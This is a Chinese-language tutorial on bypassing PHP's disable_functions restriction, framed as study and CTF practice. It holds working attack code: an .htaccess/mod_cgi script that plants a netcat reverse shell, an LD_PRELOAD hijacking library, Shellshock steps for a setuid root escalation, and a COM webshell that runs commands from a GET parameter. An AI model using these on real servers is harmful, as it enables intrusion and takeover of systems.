bypass disable_function的方法及蚁剑插件bypass-php-function使用
在学习php时,发现有许多函数会对网站或系统造成很大危险隐患,常见的危险函数有:
phpinfo()
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
危险等级:中
passthru()
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
危险等级:高
exec()
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
危险等级:高
system()
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
危险等级:高
chroot()
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式
PHP 时才能工作,且该函数不适用于 Windows 系统。
危险等级:高
scandir()
功能描述:列出指定路径中的文件和目录。
危险等级:中
chgrp()
功能描述:改变文件或目录所属的用户组。
危险等级:高
chown()
功能描述:改变文件或目录的所有者。
危险等级:高
shell_exec()
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
危险等级:高
proc_open()
功能描述:执行一个命令并打开文件指针用于读取以及写入。
危险等级:高
proc_get_status()
功能描述:获取使用 proc_open() 所打开进程的信息。
危险等级:高
error_log()
功能描述:将错误信息发送到指定位置(文件)。
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,
执行任意命令。
危险等级:低
ini_alter()
功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。
具体参见 ini_set()。
危险等级:高
ini_set()
功能描述:可用于修改、设置 PHP 环境配置参数。
危险等级:高
ini_restore()
功能描述:可用于恢复 PHP 环境配置参数到其初始值。
危险等级:高
dl()
功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
危险等级:高
pfsockopen()
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。
危险等级:高
syslog()
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。
危险等级:中
readlink()
功能描述:返回符号连接指向的目标文件内容。
危险等级:中
symlink()
功能描述:在 UNIX 系统中建立一个符号链接。
危险等级:高
popen()
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
危险等级:高
stream_socket_server()
功能描述:建立一个 Internet 或 UNIX 服务器连接。
危险等级:中
putenv()
功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数
修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
危险等级:高
php配置文件ini里有一个disable_functions选项,可以对这些危险函数进行禁用
但没有什么是绝对安全的,这里就讲到了绕过disable_functions的几种方法:
1、apache mod_cgi
这里需要用到.htaccess和mod_cgi
1).htaccess
在文件上传中我们已经很熟悉了,具体介绍百度(我对它的作用只有大概了解,网上全是百度百科的回答...)
一般情况下,不应该使用.htaccess文件,除非你对主配置文件没有访问权限;.htaccess文件应该被用在内容提供者需要针对特定目录改变服务器的配置而又没有root权限的情况下。如果服务器管理员不愿意频繁修改配置,则可以允许用户通过.htaccess文件自己修改配置,尤其是ISP在同一个机器上运行了多个用户站点,而又希望用户可以自己改变配置的情况下。
2)mod_cgi
在非线程型MPM(prefork
)上提供对CGI脚本执行的支持
任何具有MIME类型application/x-httpd-cgi
或者被cgi-script
处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType
指令定义的扩展名,另一种是文件位于ScriptAlias
目录中
参考apache手册:https://www.php.cn/manual/view/17782.html#env
如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令
需要满足几个条件:
第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件
例:
.htaccess内容:
Options +ExecCGI
AddHandler cgi-script .zwi #这里的.zwi是我构造的,表示.zwi后缀的文件都会被当作cgi脚本执行
shell.zwi
#!/bin/sh
echo&&cd "/var/www/html";ls -al;echo [S];pwd;echo [E]
注解:
Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。
关于Options指令后可以附加的特性选项的具体作用及含义,可以参考这篇文章:http://www.365mini.com/page/apache-options-directive.htm
当然我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本
本地测试:
<?php
$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反弹一个shell出来,这里用本地的4444端口
$shellfile ="#!/bin/bash
"; //指定shell
$shellfile .="echo -ne "Content-Type: text/html\n\n"
"; //需要指定这个header,否则会返回500
$shellfile .="$cmd";
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ?$yes : $no) . "<br>
";
}
if(!isset($_GET['checked']))
{
@file_put_contents('.htaccess',"
SetEnv HTACCESS on", FILE_APPEND);
header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //执行环境的检查
}
else
{
$modcgi = in_array('mod_cgi',apache_get_modules()); // 检测mod_cgi是否开启
$writable = is_writable('.'); //检测当前目录是否可写
$htaccess = !empty($_SERVER['HTACCESS']);//检测是否启用了.htaccess
checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
checkEnabled("Iswritable",$writable,"Yes","No");
checkEnabled("htaccessworking",$htaccess,"Yes","No");
if(!($modcgi && $writable&& $htaccess))
{
echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件
}
else
{
checkEnabled("Backing
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in
.htaccess.bak","Failed!"); //备份一下原有.htaccess
checkEnabled("Write
.htaccessfile",file_put_contents('.htaccess',"Options
+ExecCGI
AddHandlercgi-script
.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名
checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//写入文件
checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限
echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //调用
}
}
?>
ctf例题:ctfhub--bypass_disable_function
2、LD_PRELOAD
LD_PRELOAD是linux下的一个环境变量
它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
这说明我们几乎可以劫持PHP的大部分函数
这里需要用到putenv(),即设置系统环境变量,例:putenv("NLS_LANG=american_taiwan.zht16big5");
还可以扩展一个getenv(),获得系统环境变量,例:$ip = getenv(“REMOTE_ADDR”);
readelf命令,一般用于查看ELF格式的文件信息,常见的文件如在Linux上的可执行文件,动态库(.so)或者静态库(.a) 等包含ELF格式的文件
测试:
1、先写一个动态链接文件zwish.c
#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload(){
system("touch /var/www/html/zwish.txt");
}
int geteuid(){
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令,在/var/www/html目录下创建一个zwish.txt
编译gcc -c -fPIC zwish.c -o zwish
gcc -shared zwish -o zwish.so
将该zwish.so放到/var/www/html下
再编写一个index.php
<?php
putenv("LD_PRELOAD=/var/www/html/zwish.so");
mail("admin@localhost","","","","");
?>
访问该php,会发现该目录下出现了zwish.txt
3、shellshock
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。——摘自维基百科
1)环境搭建
以root权限安装4.1版bash(4.2版本以上的漏洞已经被堵上了)
bash4.1 原来的下载地址是 http://ftp/gnu.org/gnu/bash/bash-4.1.tar.gz ,
为了加快速度,我们这里使用下面的下载地址 http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
#测试是否有bash漏洞,输出vulnerable的话,说明bash有漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
$ sudo ln -sf /bin/bash /bin/sh #最后,让/bin/sh 指向/bin/bash.
来看看ShellShock漏洞的真身(原理):
export foo='() { :; }; echo Hello World'
bash
>Hello World
为什么调用bash的时候输出Hello World
了呢?瞧瞧他内部的情况:
KEY = foo
VALUE = () { :; }; echo Hello World
bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
新建一个shock.c
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
编译,赋权
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock
设置其为set-uid程序
测试,先要退出管理员模式
exit
export foo='() { :; }; bash'
./shock
执行完会发现我们直接拥有了root权限
4、PHP_FPM
具体介绍:https://www.php.net/install.fpm
还有一篇很好的文章:https://juejin.im/post/58db7d742f301e007e9a00a7
援引一段别人的解释:
(1)为什么会出现php-fpm
fpm的出现全部因为php-fastcgi出现。为了很好的管理php-fastcgi而实现的一个程序
(2)什么是php-fastcgi
php-fastcgi 只是一个cgi程序,只会解析php请求,并且返回结果,不会管理(因此才出现的php-fpm)。
(3)PHP_FPM
就是来管理启动一个master进程和多个worker进程的程序.
PHP-FPM 会创建一个主进程,控制何时以及如何将HTTP请求转发给一个或多个子进程处理。PHP-FPM主进程还控制着什
么时候创建(处理Web应用更多的流量)和销毁(子进程运行时间太久或不再需要了)
PHP子进程。PHP-FPM进程池中的每个进程存在的时间都比单个HTTP请求长,可以处
理10、50、100、500或更多的HTTP请求。
PHP在 5.3.3 之后已经把php-fpm并入到php的核心代码中了。 所以php-fpm不需要单独的下载安装。
要想php支持php-fpm,只需要在编译php源码的时候带上 --enable-fpm 就可以了。
具体bypass的原理也有一篇很好的文章:https://zhuanlan.zhihu.com/p/75114351?from_voters_page=true
5、UAF
释放重引用漏洞,例GC UAF、Json Serializer UAF 漏洞、Backtrace UAF等
6、FFI
FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions
7、COM组件
条件:Windows、php5.x、支持COM组件
基本原理:
COM组件它最早的设计意图是,跨语言实现程序组件的复用COM组件由以Win 32动态连接库(DLL)或可执行文件(EXE)形式发布的可执行代码所组成。遵循COM规范编写出来的组件将能够满足对组件架构的所有要求。COM组件可以给应用程序、操作系统以及其他组件提供服务;自定义的COM组件可以在运行时刻同其他组件连接起来构成某个应用程序;COM组件可以动态的插入或卸出应用。
exp:
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
print($stroutput);
?>